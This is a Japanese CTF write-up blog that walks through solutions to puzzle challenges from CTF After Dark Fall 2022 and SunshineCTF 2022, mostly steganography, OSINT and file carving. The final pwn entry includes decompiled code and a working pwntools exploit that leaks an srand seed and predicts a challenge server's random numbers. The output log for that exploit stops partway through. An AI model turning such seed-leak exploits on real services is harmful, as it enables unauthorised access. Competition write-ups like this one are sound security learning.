CTF After Dark - Fall 2022 Writeup

この大会は2022/11/17 12:00(JST)~2022/11/24 12:00(JST)に開催されました。
今回は個人で参戦。結果は535点で390チーム中17位でした。
解けた問題をWriteupとして書いておきます。

Laws of Aviation (scripting 10)

script1.txtとscript2.txtのdiffを取る。

$ diff script1.txt script2.txt 
2908c2908
< A lot of ads.
---
> A lot of adsf.
3211c3211
< and then ecstasy!
---
> and then ecstasyl!
3257c3257
< Right. Bees don't smoke.
---
> Right. Bees don't smoake.
3333c3333
< But you can't! We have a terrific case.
---
> Butg you can't! We have a terrific case.
3432c3432
< Barry, how much honey is out there?
---
> Barry, {how much honey is out there?
3517c3517
< Mr. Buzzwell, we just passed three cups,
---
> Mr. Buzzhwell, we just passed three cups,
3646c3646
< It's notjust flowers.
---
> It's nootjust flowers.
3697c3697
< Where are you going?
---
> Where are you goning?
3884c3884
< there's no stopping us.
---
> there's no stopeping us.
4119c4119
< - Get this on the air!
---
> - Get this on ythe air!
4323c4323
< Land on that flower!
---
> Land on that fl}ower!

script2.txtで余計に書いてある文字を並べる。

flag{honey}

Very Basic (crypto 10)

dataファイルの末尾に以下のデータがある。

011          11100 010010




01  0011100
1111   0000   000
100000  10
01001        0000

0010 00000



01100010 00100010   10001001
100100

2進数のモールス信号のデコード、base64テーブルの置換はダメだった。最終的にはBacon's cipherで復号できた。復号ツールはhttps://www.dcode.fr/bacon-cipherを使った。

Bacon ciphertext
011111000100100100111001111000000010000010010010000001000000011000100010001010001001100100

Result
A=0,B=1 (αβ2)	PRETTYBASICAMIRITE
A=0,B=1 (αβ1)	QSEUU?BATICANISIUE
A=1,B=0 (αβ1)	RP?NNH??OZ??UZPZN?
A=1,B=0 (αβ2)	QO?MMH??NX??TXOXM?
flag{prettybasicamirite}

When It All Began (osint 10)

ACM Cyberのウェブサイトのドメイン"acmcyber.com"が作成された日を"flag{YYYY-MM-DD}"の形式でで答える。

$ whois acmcyber.com
   Domain Name: ACMCYBER.COM
   Registry Domain ID: 2438728089_DOMAIN_COM-VRSN
   Registrar WHOIS Server: whois.registrar.amazon.com
   Registrar URL: http://registrar.amazon.com
   Updated Date: 2022-08-26T21:28:21Z
   Creation Date: 2019-09-29T23:58:03Z
   Registry Expiry Date: 2023-09-29T23:58:03Z
   Registrar: Amazon Registrar, Inc.
   Registrar IANA ID: 468
   Registrar Abuse Contact Email: abuse@amazonaws.com
   Registrar Abuse Contact Phone: +1.2067406200
   Domain Status: ok https://icann.org/epp#ok
   Name Server: NS-1366.AWSDNS-42.ORG
   Name Server: NS-1574.AWSDNS-04.CO.UK
   Name Server: NS-310.AWSDNS-38.COM
   Name Server: NS-961.AWSDNS-56.NET
   DNSSEC: unsigned
   URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
        :
        :
flag{2019-09-29}

Back in My Day (osint 15)

uclaacm.comがホストされた最初のIPアドレスを"flag{}"の中に入れて答える。
https://viewdns.info/iphistory/で履歴を調べると、一番古いIPアドレスは 192.64.119.64 となっている。

flag{192.64.119.64}

Beanstalking (osint 15)

Lima Bean はライス大学の4年生。以前は Super Secure Systems のプロジェクトマネージャーとして働いていたが、最近 Brick に就職したという情報から、彼の現在の役職を答える問題。
ただ、開催期間中に情報が消えてしまったようで、どのように解くかをDiscordで問題作成者に伝えれば、フラグを教えてもらえるということで、Linkedinで姓名や勤務先から調べる方法を伝えたら、フラグを教えてもらえた。

flag{fr0m_beans_t0_bricks}

Day and Night (steg 15)

問題文からoutguessで秘匿情報を抽出する。パスワードも問題文に書かれている大文字の文字列と推測。

$ outguess -k BLACKANDWHITE -r los_angeles.jpg secret.png
Reading los_angeles.jpg....
Extracting usable bits:   129121 bits
Steg retrieve: seed: 4994, len: 1795
$ file secret.png
secret.png: PNG image data, 300 x 300, 8-bit/color RGBA, non-interlaced


secret.pngにはQRコードが書かれているので、https://zxing.org/w/decode.jspxでデコードする。

flag{pandas_zebras_and_orcas}

get a grep (file 15)

$ strings bigfile.txt | grep flag{
flag{incompelete
flag{wrong parenthese)
flag{grep_mastermind}
flag{aklsdgjnakjehgl;ewjhg;lwejahg;lasdjg;klasdjg;ljwnglj;q342ngl;jwdang;vlnasdg;
flag{grep_mastermind}

Missing Person (file 15)

$ binwalk stuff.zip 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Zip archive data, at least v2.0 to extract, compressed size: 160689, uncompressed size: 160664, name: whygod.jpg
160729        0x273D9         Zip archive data, at least v2.0 to extract, compressed size: 131231, uncompressed size: 131862, name: banana.jpg
292000        0x474A0         Zip archive data, at least v2.0 to extract, compressed size: 729180, uncompressed size: 729476, name: stash2.jpg
1021496       0xF9638         End of Zip archive, footer length: 22
1021518       0xF964E         JPEG image data, EXIF standard
1021530       0xF965A         TIFF image data, big-endian, offset of first image directory: 8
1022232       0xF9918         Copyright string: "Copyright (c) 1998 Hewlett-Packard Company"
1032776       0xFC248         Copyright string: "Copyright (c) 1998 Hewlett-Packard Company"

$ foremost stuff.zip 
Processing: stuff.zip
|foundat=whygod.jpg
��!X�Np=��]{Є������3�f��4�O�����]����c�c�./#'��
foundat=stash2.jpg
*|


jpgが抽出され、そこにフラグが書かれていた。

flag{sm00th_op3rator}

Moanin (steg 15)

Audacityで開き、「ステレオからモノラルに分離」する。その後、「トラック」メニューの「ミックス」から「新しいトラックにミックスして作成」をする。あとは作成したトラックで、スペクトログラムを見る。

単語は1語とのことなので、繰り返しを見越し、推測してフラグにする。

flag{groanin}

Hello There (osint 20)

Discordでhttps://docs.google.com/document/d/1ciVm3LLGCt7n9fwj1zUvYwHTEQTBpAbbfvGkajBi2P0/edit#が展開された。この問題に該当するWriteupにフラグが書いてあった。

flag{th1s_isn't_th3_fl4g_y0u're_l00king_f0r}

No Flags?? (file 20)

$ strings megamind.pdf | grep flag{
%%EOFflag{no_compan1onship}
flag{no_compan1onship}

Senobnesieh (steg 20)

videostegoをインストールし、読み込みを実行する。

$ videostego -f senobnesieh.lmao -r
flag{newer_mandela_effect_just_dropped}
flag{newer_mandela_effect_just_dropped}

Tar Pit (scripting 20)

pit.tgzをpit_tmp.tgzにして、繰り返し、解凍する。最後に展開されたfound_the_bottomにフラグが書いてあった。

import tarfile
import os

while True:
    try:
        with tarfile.open('pit_tmp.tgz') as tar:
            for i in tar.getmembers():
                tar.extractall()
        os.remove('pit_tmp.tgz')
        os.rename('pit.tgz', 'pit_tmp.tgz')
    except:
        break
flag{wow_that's_pretty_deep}

Xordinary Encryption (scripting 20)

hexデコードするだけ。

$ cat flag.txt | xxd -r -p
0n3_1n_256_4r3_gr34t_0dds
flag{0n3_1n_256_4r3_gr34t_0dds}

Hop Skip Jump (scripting 25)

スクリプトを読むと、CLOCKバイトごとにフラグが書かれていることがわかるので、抽出する。このときCLOCKバイトが不明だが、"{"の位置から、4で割ってCLOCKを求める。

#!/usr/bin.env python3

with open('maze.bin', 'rb') as f:
    data = f.read()

CLOCK = data.index(b'{') // 4

flag = ''
for i in range(0, len(data), CLOCK):
    flag += chr(data[i])
print(flag)
flag{never_do_string_manipulation_without_python}

Androids Dream of Sheep (scripting 30)

https://ssalandary.github.io/ScriptingChallenges/robots.txtにアクセスすると、以下のように書かれているので、ブルートフォースでアクセスする。

User-agent: *

Disallow: /ScriptingChallenges/hidden/Adelaides.html
Disallow: /ScriptingChallenges/hidden/Adele.html
Disallow: /ScriptingChallenges/hidden/Adeles.html
Disallow: /ScriptingChallenges/hidden/Adeline.html
Disallow: /ScriptingChallenges/hidden/Adelines.html
Disallow: /ScriptingChallenges/hidden/Aden.html
Disallow: /ScriptingChallenges/hidden/Adenauer.html
Disallow: /ScriptingChallenges/hidden/Adenauers.html
Disallow: /ScriptingChallenges/hidden/Adens.html
Disallow: /ScriptingChallenges/hidden/Adhara.html
Disallow: /ScriptingChallenges/hidden/Adharas.html
Disallow: /ScriptingChallenges/hidden/Adidas.html
Disallow: /ScriptingChallenges/hidden/Adidass.html
Disallow: /ScriptingChallenges/hidden/Adirondack.html
        :
        :
import requests
import re

url = 'https://ssalandary.github.io'

with open('directories.txt', 'r') as f:
    dirs = f.read().splitlines()

for dir in dirs:
    r = requests.get(url + dir)
    if 'flag' in str(r.text):
        print(r.text)
        break

実行結果は以下の通り。

<!DOCTYPE html>
<html lang="en">
        <head>
                <link rel="stylesheet" href="style.css">
                <title>position Muskogee</title>
                <meta charset="utf-8">
        </head>


                <body>
                        <p>flag{w4ll3_1s_4n_3xc3ll3nt_m0v13}</p>
                </body>

</html>
flag{w4ll3_1s_4n_3xc3ll3nt_m0v13}

Pokemon Adventures (1/3) (osint 30)

Google mapで、UCLAの近くを調べ、添付されているポケモンゴーのマップと似ている箇所を探す。

UCLA Anderson School of Management
flag{anderson_school_of_management}

Pokemon Adventures (2/3) (osint 30)

Google mapで、UCLAの近くを調べ、添付されているポケモンゴーのマップと似ている箇所を探す。


このあたりのお店の名前を答えていくが、以下のフラグは通らなかった。

flag{blaze_pizza}
flag{bombshelter_bistro}

最終的にはbombshelterを2語に分けたら、フラグが通った。

flag{bomb_shelter}

Pokemon Adventures (3/3) (osint 30)

Google mapで、UCLAの近くを調べ、添付されているポケモンゴーのマップと似ている箇所を探す。

この建物はUCLA Ackerman Union。
以下のフラグは通らなかった。

flag{ucla_ackerman_union}

最終的には別名で通った。

flag{ackerman_student_union}

Tyler is the one (file 30)

$ binwalk alpha.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
246115        0x3C163         Zip archive data, at least v1.0 to extract, compressed size: 1978455, uncompressed size: 1978455, name: hidden.zip
2224616       0x21F1E8        End of Zip archive, footer length: 22
2224638       0x21F1FE        Zip archive data, at least v2.0 to extract, compressed size: 1655251, uncompressed size: 1661078, name: tyler1.png
3880117       0x3B34B5        End of Zip archive, footer length: 22

$ foremost alpha.jpg 
Processing: alpha.jpg
|foundat=hidden.zipUT	
foundat=tyler1.pngUT	
*|

抽出されたzipファイルを解凍すると、以下の2つのファイルが展開される。

・hidden.zip
・tyler1.png

zipはパスワードがかかっている。pngにパスワードのヒントがないか確認する。

$ zsteg tyler1.png 
b1,r,msb,xy         .. file: OpenPGP Public Key
b1,b,lsb,xy         .. file: OpenPGP Secret Key
b1,rgb,lsb,xy       .. text: "r0fLM@OT1okg00dy3s"
b1,abgr,msb,xy      .. file: PGP Secret Sub-key -
b4,r,lsb,xy         .. file: Novell LANalyzer capture file
b4,g,lsb,xy         .. file: 0420 Alliant virtual executable not stripped
b4,b,lsb,xy         .. file: Targa image data - Map (256-256) 17 x 273 x 16 +257 +256 - 1-bit alpha "\001"

"r0fLM@OT1okg00dy3s" をパスワードとして、zipを解凍する。

$ unzip hidden.zip 
Archive:  hidden.zip
[hidden.zip] secret.png password: 
  inflating: secret.png
$ file secret.png 
secret.png: PNG image data, 1920 x 1080, 8-bit/color RGBA, non-interlaced

secret画像には何も書かれていない。StegSolveで開き、Red plane 0を見たら、フラグが表示された。

flag{th3re$_N0_D3nt}

Where is my Supersuit? (osint 30)

$ binwalk secretsuit.png 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 1080 x 686, 8-bit/color RGB, non-interlaced
41            0x29            Zlib compressed data, best compression
844144        0xCE170         Zip archive data, at least v2.0 to extract, compressed size: 21, uncompressed size: 21, name: nums.txt
844257        0xCE1E1         End of Zip archive, footer length: 22

$ foremost secretsuit.png 
Processing: secretsuit.png
|foundat=nums.txt37.832015,-122.283661PK
*|

zipファイルが抽出できるので、解凍すると、nums.txtが展開される。中には以下のように書いてある。

37.832015,-122.283661

これを緯度、経度としてGoogle mapで検索すると、通りの名前がわかる。

flag{1200_park_ave}

Zalgo (steg 30)

いろいろ試したところ、Zalgo文字をUNICODE文字として、16ビットごとに以下のような変換をすると、2行目のprint文と似たような文字列になることがわかった。

・\xccの場合、code - 0xcc80 + 0x20
・\xcdの場合、code - 0xcd9d + 0x7d

1行のデータだと、差分がわかりにくいので、ピリオド". "で改行して、1行目のZalgo文字部分をmsg0.txt、2行目のprint文をmsg1.txtで保存する。

#!/usr/bin/env python3
import string

with open('shrek.py', 'rb') as f:
    codes = f.read().splitlines()

zalgo = codes[0][9:-1]
msg0 = codes[1]

msg1 = ''
for i in range(0, len(zalgo), 2):
    word = int.from_bytes(zalgo[i:i+2], 'big')
    if zalgo[i] == 0xcc:
        code = word - 0xcc80 + 0x20
    else:
        code = word - 0xcd9d + 0x7d
    msg1 += chr(code)

msg_lf0 = msg0.decode().replace('. ', '. \n')
msg_lf1 = msg1.replace('. ', '. \n')

with open('msg0.txt', 'w') as f:
    f.write(msg_lf0)

with open('msg1.txt', 'w') as f:
    f.write(msg_lf1)

この2つのデータの差分を見てみる。

$ diff msg0.txt msg1.txt
392c392
< SHREK: What? FARQUAAD: Congratulations, ogre. 
---
> SHREK: What? flag{accidentally_in_love} FARQUAAD: Congratulations, ogre.
flag{accidentally_in_love}

Camera Roll (file 40)

$ binwalk camera_roll.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, EXIF standard
12            0xC             TIFF image data, big-endian, offset of first image directory: 8
98462         0x1809E         Zip archive data, at least v2.0 to extract, compressed size: 56239, uncompressed size: 56447, name: amoung.jpg
154741        0x25C75         Zip archive data, at least v2.0 to extract, compressed size: 1450954, uncompressed size: 1451595, name: 4.zip
1605909       0x188115        End of Zip archive, footer length: 22
1605931       0x18812B        Zip archive data, at least v2.0 to extract, compressed size: 1478893, uncompressed size: 1490084, name: maz.png
3084861       0x2F123D        Zip archive data, at least v2.0 to extract, compressed size: 4173923, uncompressed size: 4180475, name: oscar.jpg
7258823       0x6EC2C7        Zip archive data, at least v2.0 to extract, compressed size: 247955, uncompressed size: 247935, name: 5.zip
7507080       0x728C88        End of Zip archive, footer length: 22
7507102       0x728C9E        Zip archive data, at least v2.0 to extract, compressed size: 970918, uncompressed size: 971255, name: fashion.jpg
8478061       0x815D6D        Zip archive data, at least v2.0 to extract, compressed size: 160689, uncompressed size: 160664, name: pain.jpg
8638788       0x83D144        Zip archive data, at least v2.0 to extract, compressed size: 87581, uncompressed size: 88276, name: bald.jpg
8726407       0x852787        Zip archive data, at least v2.0 to extract, compressed size: 131231, uncompressed size: 131862, name: banana.jpg
8858043       0x8729BB        End of Zip archive, footer length: 22

$ foremost camera_roll.jpg 
Processing: camera_roll.jpg
|foundat=amoung.jpg��g<���1���-���~�=b'i�h�v�Z{��-j��%6m��B��M[�REm�տ���?�����<��8��u���z]�.��XC�!��
foundat=4.zip
foundat=maz.pngT�X_�-�^��:(  R��tQ�"Uz�޻tD�7��^C���0B�-@����������$<�L����Z����-���|�Q/�g(Ɂ'�ci��D��������9��*�P�������S�#�닌z_>ɪO�^����r�[NpypT���Cz��=���]�c��Ͻ[�.��_��QE3�$Q+�׌�{�î�����Vܠ�SH���@��W��˯C�AgS>���y�س0��2���W˜N��Կf|�9.�w���]Fұ�E՟���ng]x����̿��˹�S�|<>
foundat=oscar.jpg��uT�]�/�B�R(��m�)\�{q�R�Cq�����w�ࡸ[����q?�}����{�x�;+���}m��=۲�3�co�=m>
foundat=5.zip
foundat=fashion.jpg��uT\�6
foundat=pain.jpg
foundat=bald.jpg��ep\=�.���1fffffff��13�̎�1d�����1�c�1C�7��Ω���:?N��Y��iI���Z�kjj�s�s*�c�
��!X�Np=��]{Є������3�f��4�O�����]����c�c�./#'��
*|

zipファイルを3つ抽出できる。それぞれ解凍すると、以下のファイルが展開される。

・00000192.zip
 ・4.zip
 ・amoung.jpg
・00003136.zip
 ・5.zip
 ・maz.png
 ・oscar.jpg
・00014662.zip
 ・bald.jpg
 ・banana.jpg
 ・fashion.jpg
 ・pain.jpg
$ binwalk 4.zip

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Zip archive data, at least v2.0 to extract, compressed size: 903836, uncompressed size: 904810, name: strategy.jpg
903878        0xDCAC6         Zip archive data, at least v2.0 to extract, compressed size: 54608, uncompressed size: 57586, name: mom.jpg
958706        0xEA0F2         End of Zip archive, footer length: 22
958728        0xEA108         PNG image, 933 x 933, 8-bit/color RGB, non-interlaced
958769        0xEA131         Zlib compressed data, best compression

4.zipの末尾にpngファイルが付いているので、抽出する。

$ foremost 4.zip
Processing: 4.zip
�;w((^at=strategy.jpg��uT�O�7�����
������%8�]���kq����s���{���uw�I>���c{��d�����: @���;
��K-�"��t�KHK�t�4,�H,��,)
�Jw���s?���������{v��̙9���>�uΜ���^Hd�e
*|

$ binwalk 00001872.png 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 933 x 933, 8-bit/color RGB, non-interlaced
41            0x29            Zlib compressed data, best compression

4.zipを解凍すると、以下のファイルが展開される。

・mom.jpg
・strategy.jpg
$ binwalk mom.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01

$ binwalk strategy.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, EXIF standard
12            0xC             TIFF image data, big-endian, offset of first image directory: 8
175334        0x2ACE6         PNG image, 741 x 758, 8-bit/color RGB, non-interlaced
175388        0x2AD1C         Zlib compressed data, default compression

$ foremost strategy.jpg 
Processing: strategy.jpg
|*|

strategy.jpg から pngを抽出するが、特に何も無さそう。

$ binwalk 00000342.png 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 741 x 758, 8-bit/color RGB, non-interlaced
54            0x36            Zlib compressed data, default compression

$ binwalk amoung.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01

5.zipを展開すると、以下のファイルが展開される。

・mistake.jpg
・scum.jpg
$ binwalk mistake.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
69020         0x10D9C         JPEG image data, EXIF standard
69032         0x10DA8         TIFF image data, big-endian, offset of first image directory: 8

mistake.jpg の末尾にjpgファイルが付いているので、抽出する。

$ foremost mistake.jpg 
Processing: mistake.jpg
|*|

$ binwalk 00000134.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, EXIF standard
12            0xC             TIFF image data, big-endian, offset of first image directory: 8

抽出したファイルも何も無さそう。

$ binwalk scum.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01

$ binwalk maz.png 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 2048 x 1752, 8-bit/color RGBA, non-interlaced
41            0x29            Zlib compressed data, best compression

$ binwalk oscar.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, EXIF standard
12            0xC             TIFF image data, little-endian offset of first image directory: 8

oscar.jpg には末尾にディレクトリ構成が付いているが、一旦保留。

$ binwalk bald.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, EXIF standard
12            0xC             TIFF image data, big-endian, offset of first image directory: 8
68369         0x10B11         Zip archive data, at least v2.0 to extract, compressed size: 19751, uncompressed size: 19746, name: maxozki.jpg
88254         0x158BE         End of Zip archive, footer length: 22

bald.jpg の末尾にzipファイルが付いているので、抽出する。
抽出したzipファイルを解凍すると、以下のファイルが展開される。

・maxozki.jpg
$ binwalk maxozki.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------

$ file maxozki.jpg 
maxozki.jpg: RIFF (little-endian) data, Web/P image, VP8 encoding, 564x551, Scaling: [none]x[none], YUV color, decoders should clamp

$ binwalk banana.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
30            0x1E            TIFF image data, big-endian, offset of first image directory: 8
394           0x18A           JPEG image data, JFIF standard 1.01

$ binwalk fashion.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
72996         0x11D24         Zip archive data, at least v2.0 to extract, compressed size: 837795, uncompressed size: 864584, name: nik.jpg
910828        0xDE5EC         Zip archive data, at least v2.0 to extract, compressed size: 60186, uncompressed size: 61043, name: cigar.jpg
971233        0xED1E1         End of Zip archive, footer length: 22

fashion.jpg の末尾にzipファイルが付いているので、抽出する。

$ foremost fashion.jpg 
Processing: fashion.jpg
|foundat=nik.jpgT�uT>$@��-Ŋ��EڠE�A��;T�SܵP(,������T�+-����{�����{v>;<3;��YS]mmG_��RK��������7��AFf��#
     )��מ�cA��Ea`��Feh����R��[9!�@y6�%�����4��[~���D�%�Bh�:��o���x���V(�Yy��7��a2��@|
�p��������Vxx@1e��M�M���m�H6�߾IC\�z�=S�b���f��Ay��/a���h�f��w��O/���oy��`���j�H����?���:eF��dV�d
                                                                                                M��N��M�ut��Svg���g߻�UL�oQ�W�%�c1.�4E��`�hө�	ȇ#t�P
foundat=cigar.jpg��wT��7z/�t��Bh��J/B'�Ћ҄P�
                                          �!��^D� �tBGP�(%�R)���
t�u��w���g���>s�93��νO���sϙ�����
*|

抽出したzipファイルを解凍すると、以下のファイルが展開される。

・cigar.jpg
・nik.jpg
$ binwalk cigar.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01

$ binwalk nik.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
618090        0x96E6A         JPEG image data, EXIF standard
618102        0x96E76         TIFF image data, big-endian, offset of first image directory: 8
704488        0xABFE8         JPEG image data, EXIF standard
704500        0xABFF4         TIFF image data, big-endian, offset of first image directory: 8

nik.jpg の末尾にデータが付いているので、抽出する。

$ foremost nik.jpg 
Processing: nik.jpg
|*|

jpg画像が2つ抽出されるが、片方にフラグが書いてあった。

flag{stop_drop_4nd_rol1}

Diff (steg 40)

Audacityでモノラルに分離し、片方のトラックを選択して、「エフェクト」-「上下を反転」をする。両方のトラックを選択して、「トラック」から「ミックス」「新しいトラックにミックスして作成」する。
作成したトラックでスペクトログラムを見ると、モールス信号らしきものが見えるので、デコードする。

-... . . .--. -... --- --- .--.
flag{beep_boop}

SunshineCTF 2022 Writeup

この大会は2022/11/20 0:00(JST)~2022/11/22 0:00(JST)に開催されました。
今回もチームで参戦。結果は363点で445チーム中77位でした。
自分で解けた問題をWriteupとして書いておきます。

Roll Call (Misc 1)

問題にフラグが書いてあった。

sun{here}

Matr... I mean Discord (Misc 2)

Discordに入り、#announcementsチャネルのトピックを見ると、フラグが書いてあった。

sun{i_love_centralized_chat_platforms}

PEG_GIMME (Pegasus 10)

PEGASUSファイルの実行方法通り実行する。

$ ./runpeg gimme.peg
Want a flag? [y/N]
y
sun{th4t_w4s_3a5y}
sun{th4t_w4s_3a5y}

PredictorProgrammer 1 (Scripting 50)

適当に1を入力してみたら、フラグが表示された。

$ nc predictor.sunshinectf.games 22201
PredictorProgrammer... new and improved! No longer vulnerable to eval injection!
...oooooooh we are going to play a game... of Prediction!
Super duper easy! You have one life to get the answer correct!
If you get the answer correct... you'll receive a key, one of three.
A person who has all three keys... well... nothing special happens.
But back to prediction...
So we're on the up-and-level with each other, I'm using this code to come up with a totally random number:

# if knuth made it it must be secure!
def knuth_linear_congruential_generator(state):
    return (state * 6364136223846793005) + 1442695040888963407 % (2 ** 64)

#debugggg seed = 1668947587720

The current date is Sun, 20 Nov 2022 12:33:07 +0000, you have 30 seconds to guess the next number correctly.
Predict the future... if you dare!
What number am I thinking of, from 0 to 18446744073709551615:
1
I was thinking of 2208144617267059511...

...

Hooooowwww? How did you solve it?

...

... oh well here's your first key, as promised:
b'sun{oops_i_thought_i_was_in_release}'

Fine. I'll make a better game. ONE WITH A PRINCESS IN ANOTHER CASTLE! &#128293;&#127984;&#128293;

predictor.sunshinectf.games 22202 holds your next key.
sun{oops_i_thought_i_was_in_release}

CTF Simulator (Pwn 100)

Ghidraでデコンパイルする。

undefined8 FUN_001013b1(void)

{
  int iVar1;
  ssize_t sVar2;
  char *pcVar3;
  long in_FS_OFFSET;
  int local_a0;
  uint local_9c;
  int local_98;
  int local_94;
  char *local_90;
  FILE *local_88;
  char *local_80;
  char local_78 [104];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_98 = open("/dev/urandom",0);
  if (-1 < local_98) {
    sVar2 = read(local_98,&DAT_00104444,4);
    if (sVar2 == 4) {
      close(local_98);
      srand(DAT_00104444);
      puts("||| CTF Simulator 2022 |||");
      puts(
          "This CTF training simulator will hone your guessing skills so you can be more competitive  in CTF competitions!"
          );
      printf("What\'s the name of your CTF team?\n[>] ");
      fflush(stdout);
      local_90 = (char *)FUN_00101349();
      if (local_90 == (char *)0x0) {
        puts("Invalid team name!");
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      strncpy(&DAT_00104430,local_90,0x14);
      for (local_9c = 10; (int)local_9c < 1000000000; local_9c = local_9c * 10) {
        printf("Okay %s, I\'m thinking of a number between 1 and %d. What is it?\n[>] ",
               &DAT_00104430,(ulong)local_9c);
        fflush(stdout);
        iVar1 = rand();
        local_94 = iVar1 % (int)local_9c + 1;
        local_a0 = 0;
        local_90 = (char *)FUN_00101349();
        iVar1 = __isoc99_sscanf(local_90,&DAT_00102135,&local_a0);
        if (iVar1 != 1) {
          puts("Bad guess!");
                    /* WARNING: Subroutine does not return */
          exit(1);
        }
        if (local_a0 < local_94) {
          puts("Too low!");
                    /* WARNING: Subroutine does not return */
          exit(1);
        }
        if (local_94 < local_a0) {
          puts("Too high!");
                    /* WARNING: Subroutine does not return */
          exit(1);
        }
        puts("That\'s it!");
      }
      puts("Wow, did you hack into my brain? Great guessing! You\'ll be a CTF star in no time!");
      local_88 = fopen("flag.txt","r");
      if (local_88 == (FILE *)0x0) {
        puts("Flag file is missing!");
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      pcVar3 = fgets(local_78,100,local_88);
      if (pcVar3 == (char *)0x0) {
        puts("Error reading from flag file!");
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      fclose(local_88);
      local_80 = strchr(local_78,10);
      if (local_80 != (char *)0x0) {
        *local_80 = '\0';
      }
      printf("Here\'s a reward for you: %s\n",local_78);
      if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return 0;
    }
  }
  puts("Fatal error!");
                    /* WARNING: Subroutine does not return */
  exit(1);
}

undefined * FUN_00101349(void)

{
  char *pcVar1;
  undefined *puVar2;
  
  pcVar1 = fgets(&DAT_00104040,1000,stdin);
  if (pcVar1 == (char *)0x0) {
    puVar2 = (undefined *)0x0;
  }
  else {
    pcVar1 = strchr(&DAT_00104040,10);
    if (pcVar1 != (char *)0x0) {
      *pcVar1 = '\0';
    }
    puVar2 = &DAT_00104040;
  }
  return puVar2;
}

チーム名に任意の文字列を20バイト入力すれば、srandのシードの値をリークできる。
乱数取得の部分のみC言語に任せる。

$ cat predict_num.c
#include <stdio.h>
#include <stdlib.h>

void main(int argc, char *argv[]) {
    uint seed;
    int r, num;

    if (argc != 2) {
        printf("Usage %s <seed>\n", argv[0]);
        exit(1);
    }

    seed = atoi(argv[1]);

    srand(seed);
    for (int i=10; i<1000000000; i=i*10) {
        r = rand();
        num = (r % i) + 1;
        printf("%d", num);
        if (i != 100000000) {
            printf(" ");
        }
    }
    printf("\n");
}
$ gcc predict_num.c -o predict_num
#!/usr/bin/env python3
from pwn import *
import subprocess

p = remote('sunshinectf.games', 22000)

name = 'A' * 20
data = p.recvuntil(b'[>] ').decode()
print(data + name)
p.sendline(name.encode())
data = p.recvline()
print(data)

str_seed = data.split(b'A' * 20)[1].split(b',')[0]
seed = int.from_bytes(str_seed, byteorder='little')

cmd = ('./predict_num ' + str(seed)).split(' ')
output = subprocess.run(cmd, stdout=subprocess.PIPE)
nums = output.stdout.rstrip().decode().split(' ')

for i in range(8):
    data = p.recvuntil(b'[>] ').decode()
    print(data, end='')
    print(nums[i])
    p.sendline(nums[i].encode())
    data = p.recvline().rstrip().decode()
    print(data)
    data = p.recvline().rstrip()
    if i == 7:
        data = data.decode()
    print(data)

data = p.recvline().rstrip().decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to sunshinectf.games on port 22000: Done
||| CTF Simulator 2022 |||
This CTF training simulator will hone your guessing skills so you can be more competitive in CTF competitions!
What's the name of your CTF team?
[>] AAAAAAAAAAAAAAAAAAAA
b"Okay AAAAAAAAAAAAAAAAAAAAj\xa6\xae_, I'm thinking of a number between 1 and 10. What is it?\n"
[>] 9
That's it!
b"Okay AAAAAAAAAAAAAAAAAAAAj\xa6\xae_, I'm thinking of a number between 1 and 100. What is it?"
[>] 39
That's it!
b"Okay AAAAAAAAAAAAAAAAAAAAj\xa6\xae_, I'm thinking of a number between 1 and 1000. What is it?"
[>] 893
That's it!
b"Okay AAAAAAAAAAAAAAAAAAAAj\xa6\xae_, I'm thinking of a number between 1 and 10000. What is it?"
[>] 8735
That's it!
b"Okay AAAAAAAAAAAAAAAAAAAAj\xa6\xae_, I'm thinking of a number between 1 and 100000. What is it?"
[>] 55260
That's it!
